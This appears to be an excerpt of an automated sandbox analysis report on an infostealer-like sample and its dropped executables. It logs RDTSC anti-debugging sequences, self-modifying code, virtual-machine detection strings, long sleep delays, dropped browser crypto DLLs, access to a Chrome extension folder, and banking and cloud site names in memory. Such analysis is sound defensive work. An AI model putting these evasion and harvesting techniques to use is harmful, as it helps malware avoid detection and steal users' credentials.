Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249B4D second address: 249C04 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2738E98EE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F2738E98EE8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 call 00007F2738E98EEAh 0x0000002c mov dword ptr [ebp+122D194Bh], edx 0x00000032 pop edx 0x00000033 push 00000003h 0x00000035 mov di, CACCh 0x00000039 or di, 5384h 0x0000003e push 00000000h 0x00000040 sub ecx, dword ptr [ebp+122D189Dh] 0x00000046 push 00000003h 0x00000048 mov edi, 0DB0C5EBh 0x0000004d push 9DCD71B2h 0x00000052 jo 00007F2738E98F01h 0x00000058 jng 00007F2738E98EFBh 0x0000005e xor dword ptr [esp], 5DCD71B2h 0x00000065 movzx ecx, cx 0x00000068 jmp 00007F2738E98EEEh 0x0000006d lea ebx, dword ptr [ebp+1244E7E0h] 0x00000073 mov dword ptr [ebp+122D37E1h], eax 0x00000079 xchg eax, ebx 0x0000007a push esi 0x0000007b jp 00007F2738E98EE8h 0x00000081 pop esi 0x00000082 push eax 0x00000083 push eax 0x00000084 push edx 0x00000085 push eax 0x00000086 push edx 0x00000087 pushad 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249C04 second address: 249C14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249C70 second address: 249C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249C76 second address: 249C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b sub dword ptr [ebp+122D3802h], edx 0x00000011 push C1EE6B20h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249C93 second address: 249C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249C98 second address: 249C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249C9E second address: 249CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249CA2 second address: 249D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 3E119560h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F2738B89E08h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov edi, 3F64FA67h 0x0000002e sbb dh, FFFFFFB6h 0x00000031 push 00000003h 0x00000033 push 00000000h 0x00000035 call 00007F2738B89E0Bh 0x0000003a pop ecx 0x0000003b push 00000003h 0x0000003d mov si, BF1Dh 0x00000041 call 00007F2738B89E09h 0x00000046 jns 00007F2738B89E0Eh 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jl 00007F2738B89E08h 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249D11 second address: 249D16 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 249D16 second address: 249D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c jmp 00007F2738B89E0Bh 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [eax] 0x00000014 push ebx 0x00000015 jo 00007F2738B89E08h 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 jmp 00007F2738B89E0Fh 0x00000027 pop eax 0x00000028 stc 0x00000029 lea ebx, dword ptr [ebp+1244E7EBh] 0x0000002f cmc 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 ja 00007F2738B89E08h 0x00000039 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90D33 second address: 4A90D39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90D39 second address: 4A90D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A90D3D second address: 4A90D57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2738E98EEFh 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 23CE75 second address: 23CE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2738B89E06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 2696AB second address: 2696C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 26981A second address: 269840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F2738B89E06h 0x0000000a popad 0x0000000b jmp 00007F2738B89E0Bh 0x00000010 pop eax 0x00000011 pushad 0x00000012 push edx 0x00000013 jng 00007F2738B89E06h 0x00000019 pushad 0x0000001a popad 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 269840 second address: 269844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 269DD1 second address: 269DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 269DD5 second address: 269DE2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 269DE2 second address: 269E1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E0Ah 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F2738B89E17h 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 jng 00007F2738B89E06h 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 269E1A second address: 269E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 269E20 second address: 269E36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F2738B89E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F2738B89E06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 269E36 second address: 269E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 269E3A second address: 269E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 26A2BC second address: 26A2C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Special instruction interceptor: First address: 30E9B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Special instruction interceptor: First address: 4BA51F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 88E9B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: A3A51F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Special instruction interceptor: First address: 2FF605 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: E9F605 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe

Code function: 6_2_04A906A8 rdtsc

6_2_04A906A8

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1645	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1852	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1899	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1873	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1104
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1145
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1162
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1122
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1145
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1159

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1924	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1924	Thread sleep time: -120060s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4952	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4952	Thread sleep time: -122061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5612	Thread sleep count: 1645 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5612	Thread sleep time: -3291645s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5196	Thread sleep count: 1852 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5196	Thread sleep time: -3705852s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4040	Thread sleep count: 70 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4040	Thread sleep time: -140070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6944	Thread sleep count: 311 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6944	Thread sleep time: -9330000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7192	Thread sleep time: -1440000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3840	Thread sleep count: 1899 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3840	Thread sleep time: -3799899s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1088	Thread sleep count: 1873 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1088	Thread sleep time: -3747873s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7752	Thread sleep count: 1104 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7752	Thread sleep time: -2209104s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7756	Thread sleep count: 1145 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7756	Thread sleep time: -2291145s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7760	Thread sleep count: 1162 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7760	Thread sleep time: -2325162s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7720	Thread sleep count: 319 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7720	Thread sleep time: -9570000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7952	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7768	Thread sleep count: 1122 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7768	Thread sleep time: -2245122s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7764	Thread sleep count: 1145 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7764	Thread sleep time: -2291145s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7776	Thread sleep count: 1159 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7776	Thread sleep time: -2319159s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: RoamingBKJEGDGIJE.exe, RoamingBKJEGDGIJE.exe, 00000006.00000002.2373687133.000000000049A000.00000040.00000001.01000000.00000009.sdmp, RoamingIJEGDBGDBF.exe, RoamingIJEGDBGDBF.exe, 00000009.00000002.2452147318.0000000000251000.00000040.00000001.01000000.0000000A.sdmp, explorti.exe, explorti.exe, 0000000E.00000002.2491799529.0000000000DF1000.00000040.00000001.01000000.0000000F.sdmp, explorti.exe, 0000000F.00000002.2492757174.0000000000DF1000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 00000013.00000002.2766986693.0000000000A1A000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: EBFBKFBG.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: EBFBKFBG.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: RoamingIJEGDBGDBF.exe, 00000009.00000003.2411611775.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: EBFBKFBG.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: file.exe, 00000000.00000002.2400447542.00000000024DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwared};d
Source: EBFBKFBG.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Amcache.hve.13.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: file.exe, 00000000.00000002.2400608729.0000000002507000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2400608729.0000000002571000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000012.00000003.3042588900.000000000126A000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000012.00000003.3042588900.000000000126F000.00000004.00000020.00020000.00000000.sdmp, 7ca32398cd.exe, 00000014.00000002.2836612791.0000000002698000.00000004.00000020.00020000.00000000.sdmp, 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026EE000.00000004.00000020.00020000.00000000.sdmp, 7ca32398cd.exe, 00000025.00000002.3000379607.000000000260C000.00000004.00000020.00020000.00000000.sdmp, 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EBFBKFBG.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: EBFBKFBG.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: EBFBKFBG.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: EBFBKFBG.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}5-
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: EBFBKFBG.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: EBFBKFBG.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: RoamingIJEGDBGDBF.exe, 00000009.00000003.2419740523.00000000012C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: EBFBKFBG.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
